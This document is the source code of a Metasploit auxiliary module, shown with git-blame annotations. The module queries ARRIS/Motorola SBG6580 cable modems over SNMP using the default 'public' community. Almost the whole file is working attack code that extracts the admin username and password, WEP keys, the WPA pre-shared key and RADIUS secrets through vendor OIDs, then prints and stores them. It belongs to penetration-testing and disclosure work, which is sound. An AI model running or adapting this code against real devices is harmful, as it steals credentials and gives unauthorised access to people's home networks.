2014-05-10 06:40:37 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-05-10 06:40:37 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2014-05-10 06:40:37 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::SNMPClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
|
|
|
|
'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola
|
2014-05-20 06:55:57 +00:00
|
|
|
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
|
|
|
|
and password for the device user interface as well as wireless network keys
|
|
|
|
and information.
|
2014-05-10 06:40:37 +00:00
|
|
|
The default community used is "public".',
|
|
|
|
'References' =>
|
|
|
|
[
|
2014-05-20 06:14:52 +00:00
|
|
|
[ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ],
|
2014-05-10 06:40:37 +00:00
|
|
|
[ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '110555' ]
|
2014-05-10 06:40:37 +00:00
|
|
|
],
|
|
|
|
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
))
|
2014-05-20 22:51:22 +00:00
|
|
|
|
|
|
|
# change SNMP version option to match device specification
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-05-10 06:40:37 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
begin
|
|
|
|
snmp = connect_snmp
|
|
|
|
|
|
|
|
# represents the order of the output data fields
|
|
|
|
fields_order = [
|
2014-05-20 06:55:57 +00:00
|
|
|
"Host IP", "Username", "Password", "SSID", "802.11 Band",
|
|
|
|
"Network Authentication Mode", "WEP Passphrase", "WEP Encryption",
|
|
|
|
"WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4",
|
|
|
|
"Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)",
|
|
|
|
"RADIUS Server", "RADIUS Port", "RADIUS Key"
|
2014-05-10 06:40:37 +00:00
|
|
|
]
|
|
|
|
|
|
|
|
output_data = {"Host IP" => ip}
|
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
sys_descr = snmp.get_value('sysDescr.0')
|
|
|
|
if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/
|
2014-05-10 06:40:37 +00:00
|
|
|
# print connected status after the first query so if there are
|
|
|
|
# any timeout or connectivity errors; the code would already
|
|
|
|
# have jumped to error handling where the error status is
|
|
|
|
# already being displayed.
|
|
|
|
print_good("#{ip}, Connected.")
|
|
|
|
|
2014-05-20 06:55:57 +00:00
|
|
|
# attempt to get the username and password for the device user interface
|
|
|
|
# using the CableHome cabhPsDevMib MIB module which defines the
|
|
|
|
# basic management objects for the Portal Services (PS) logical element
|
|
|
|
# of a CableHome compliant Residential Gateway device
|
2014-09-01 04:49:10 +00:00
|
|
|
device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')
|
|
|
|
if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1
|
2014-05-20 06:55:57 +00:00
|
|
|
# manufacturerLocal(1) - indicates Portal Services is using the vendor
|
|
|
|
# web user interface shipped with the device
|
2014-09-01 04:49:10 +00:00
|
|
|
device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
|
|
|
|
if is_valid_snmp_value(device_ui_username)
|
|
|
|
output_data["Username"] = device_ui_username.to_s
|
|
|
|
end
|
2014-05-20 06:55:57 +00:00
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
|
|
|
|
if is_valid_snmp_value(device_ui_password)
|
|
|
|
output_data["Password"] = device_ui_password.to_s
|
|
|
|
end
|
2014-05-20 06:55:57 +00:00
|
|
|
end
|
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
wifi_ifindex = get_primary_wifi_ifindex(snmp)
|
|
|
|
if wifi_ifindex < 1
|
2014-05-13 04:15:21 +00:00
|
|
|
print_status("Primary WiFi is disabled on the device")
|
|
|
|
end
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(ssid)
|
|
|
|
output_data["SSID"] = ssid.to_s
|
|
|
|
end
|
2014-05-13 04:15:21 +00:00
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')
|
|
|
|
if is_valid_snmp_value(wireless_band)
|
|
|
|
output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i)
|
|
|
|
end
|
2014-05-13 04:15:21 +00:00
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(network_auth_mode)
|
|
|
|
network_auth_mode = network_auth_mode.to_i
|
|
|
|
network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)
|
|
|
|
output_data["Network Authentication Mode"] = network_auth_mode_name
|
|
|
|
end
|
2014-05-13 04:15:21 +00:00
|
|
|
|
|
|
|
case network_auth_mode
|
|
|
|
when 1, 6
|
|
|
|
# WEP, WEP 802.1x Authentication
|
2014-09-01 04:49:10 +00:00
|
|
|
wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(wep_passphrase)
|
|
|
|
output_data["WEP Passphrase"] = wep_passphrase.to_s
|
|
|
|
end
|
2014-05-13 04:15:21 +00:00
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(wep_encryption)
|
|
|
|
wep_encryption = wep_encryption.to_i
|
|
|
|
else
|
|
|
|
wep_encryption = -1
|
|
|
|
end
|
|
|
|
|
|
|
|
wep_encryption_name = "Unknown"
|
|
|
|
wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil
|
2014-05-13 04:15:21 +00:00
|
|
|
# get appropriate WEP keys based on wep_encryption setting
|
|
|
|
if wep_encryption == 1
|
|
|
|
wep_encryption_name = "64-bit"
|
2014-09-01 04:49:10 +00:00
|
|
|
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1")
|
|
|
|
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2")
|
|
|
|
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3")
|
|
|
|
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4")
|
2014-05-13 04:15:21 +00:00
|
|
|
elsif wep_encryption == 2
|
|
|
|
wep_encryption_name = "128-bit"
|
2014-09-01 04:49:10 +00:00
|
|
|
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1")
|
|
|
|
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2")
|
|
|
|
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3")
|
|
|
|
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4")
|
2014-05-13 04:15:21 +00:00
|
|
|
end
|
2014-09-01 04:49:10 +00:00
|
|
|
|
2014-05-13 04:15:21 +00:00
|
|
|
output_data["WEP Encryption"] = wep_encryption_name
|
2014-09-01 04:49:10 +00:00
|
|
|
if is_valid_snmp_value(wep_key1)
|
|
|
|
output_data["WEP Key 1"] = wep_key1.unpack('H*')[0]
|
|
|
|
end
|
|
|
|
if is_valid_snmp_value(wep_key2)
|
|
|
|
output_data["WEP Key 2"] = wep_key2.unpack('H*')[0]
|
|
|
|
end
|
|
|
|
if is_valid_snmp_value(wep_key3)
|
|
|
|
output_data["WEP Key 3"] = wep_key3.unpack('H*')[0]
|
|
|
|
end
|
|
|
|
if is_valid_snmp_value(wep_key4)
|
|
|
|
output_data["WEP Key 4"] = wep_key4.unpack('H*')[0]
|
|
|
|
end
|
2014-05-13 04:15:21 +00:00
|
|
|
|
|
|
|
# get current network key
|
2014-09-01 04:49:10 +00:00
|
|
|
current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(current_key)
|
|
|
|
output_data["Current Network Key"] = current_key.to_s
|
|
|
|
end
|
2014-05-13 04:15:21 +00:00
|
|
|
|
|
|
|
if network_auth_mode == 6
|
2014-09-01 04:49:10 +00:00
|
|
|
get_radius_info(snmp, wifi_ifindex, output_data)
|
2014-05-13 04:15:21 +00:00
|
|
|
end
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-05-13 04:15:21 +00:00
|
|
|
when 2, 3, 4, 5, 7, 8
|
|
|
|
# process all flavors of WPA
|
2014-09-01 04:49:10 +00:00
|
|
|
wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(wpa_encryption)
|
|
|
|
output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i)
|
|
|
|
end
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(wpa_psk)
|
|
|
|
output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s
|
|
|
|
end
|
2014-05-19 16:55:40 +00:00
|
|
|
|
2014-05-10 06:40:37 +00:00
|
|
|
case network_auth_mode
|
2014-05-13 04:15:21 +00:00
|
|
|
when 4, 5, 8
|
2014-09-01 04:49:10 +00:00
|
|
|
get_radius_info(snmp, wifi_ifindex, output_data)
|
2014-05-10 06:40:37 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-05-13 04:15:21 +00:00
|
|
|
# output
|
|
|
|
print_line("")
|
2014-05-20 06:14:52 +00:00
|
|
|
print_status("Device information:\n")
|
2014-05-13 04:15:21 +00:00
|
|
|
line = ""
|
|
|
|
width = 30 # name field width
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-05-13 04:15:21 +00:00
|
|
|
fields_order.each {|k|
|
|
|
|
if not output_data.has_key?(k)
|
|
|
|
next
|
|
|
|
end
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-05-13 04:15:21 +00:00
|
|
|
v = output_data[k]
|
|
|
|
if (v.nil? or v.empty? or v =~ /Null/)
|
|
|
|
v = '-'
|
|
|
|
end
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-05-13 04:15:21 +00:00
|
|
|
report_note(
|
|
|
|
:host => ip,
|
|
|
|
:proto => 'udp',
|
|
|
|
:sname => 'snmp',
|
|
|
|
:port => datastore['RPORT'].to_i,
|
|
|
|
:type => "snmp.#{k}",
|
|
|
|
:data => v
|
|
|
|
)
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-05-13 04:15:21 +00:00
|
|
|
line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v)
|
|
|
|
}
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-05-13 04:15:21 +00:00
|
|
|
print_line(line)
|
2014-05-27 22:06:36 +00:00
|
|
|
else
|
|
|
|
print_error("#{ip} does not appear to be a SBG6580.")
|
2014-05-13 04:15:21 +00:00
|
|
|
end
|
2014-05-10 06:40:37 +00:00
|
|
|
|
|
|
|
rescue SNMP::RequestTimeout
|
2014-05-27 22:06:36 +00:00
|
|
|
print_error("#{ip} SNMP request timeout.")
|
2014-05-10 06:40:37 +00:00
|
|
|
rescue Rex::ConnectionError
|
2014-05-27 22:06:36 +00:00
|
|
|
print_error("#{ip} Connection refused.")
|
2014-05-10 06:40:37 +00:00
|
|
|
rescue SNMP::InvalidIpAddress
|
2014-05-27 22:06:36 +00:00
|
|
|
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
2014-05-10 06:40:37 +00:00
|
|
|
rescue SNMP::UnsupportedVersion
|
2014-05-27 22:06:36 +00:00
|
|
|
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
2014-05-10 06:40:37 +00:00
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Exception => e
|
2014-05-27 22:06:36 +00:00
|
|
|
print_error("Unknown error: #{e.class} #{e}")
|
2014-05-10 06:40:37 +00:00
|
|
|
elog("Unknown error: #{e.class} #{e}")
|
|
|
|
elog("Call stack:\n#{e.backtrace.join "\n"}")
|
|
|
|
ensure
|
|
|
|
disconnect_snmp
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
def get_primary_wifi_ifindex(snmp)
|
|
|
|
# The ifTable contains interface entries where each row represents
|
|
|
|
# management information for a particular interface. Locate the first
|
|
|
|
# interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up).
|
|
|
|
wifi_ifindex = 0
|
|
|
|
ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"]
|
|
|
|
snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus|
|
|
|
|
if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1)
|
|
|
|
wifi_ifindex = ifIndex.value.to_i
|
|
|
|
end
|
|
|
|
end
|
|
|
|
wifi_ifindex
|
|
|
|
end
|
|
|
|
|
|
|
|
def is_valid_snmp_value(value)
|
|
|
|
if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
2014-05-10 06:40:37 +00:00
|
|
|
def get_network_auth_mode_name(network_auth_mode)
|
|
|
|
case network_auth_mode
|
|
|
|
when 0
|
|
|
|
"Open Security"
|
|
|
|
when 1
|
|
|
|
"WEP"
|
|
|
|
when 2
|
|
|
|
"WPA-PSK"
|
|
|
|
when 3
|
|
|
|
"WPA2-PSK"
|
|
|
|
when 4
|
|
|
|
"WPA RADIUS"
|
|
|
|
when 5
|
|
|
|
"WPA2 RADIUS"
|
|
|
|
when 6
|
|
|
|
"WEP 802.1x Authentication"
|
|
|
|
when 7
|
|
|
|
"WPA-PSK and WPA2-PSK"
|
|
|
|
when 8
|
|
|
|
"WPA and WPA2 RADIUS"
|
|
|
|
else
|
|
|
|
"Unknown"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_wireless_band_name(wireless_band)
|
|
|
|
case wireless_band
|
|
|
|
when 1
|
|
|
|
"2.4 Ghz"
|
|
|
|
when 2
|
|
|
|
"5 Ghz"
|
|
|
|
else
|
|
|
|
"Unknown"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_wpa_encryption_name(wpa_encryption)
|
|
|
|
case wpa_encryption
|
|
|
|
when 2
|
|
|
|
"AES"
|
|
|
|
when 3
|
|
|
|
"TKIP+AES"
|
|
|
|
else
|
|
|
|
"Unknown"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
def get_radius_info(snmp, wifi_ifindex, output_data)
|
|
|
|
radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(radius_server)
|
|
|
|
output_data["RADIUS Server"] = radius_server.unpack("C4").join(".")
|
|
|
|
end
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(radius_port)
|
|
|
|
output_data["RADIUS Port"] = radius_port.to_s.strip
|
|
|
|
end
|
2014-05-10 06:40:37 +00:00
|
|
|
|
2014-09-01 04:49:10 +00:00
|
|
|
radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}")
|
|
|
|
if is_valid_snmp_value(radius_key)
|
|
|
|
output_data["RADIUS Key"] = radius_key.to_s
|
|
|
|
end
|
2014-05-10 06:40:37 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|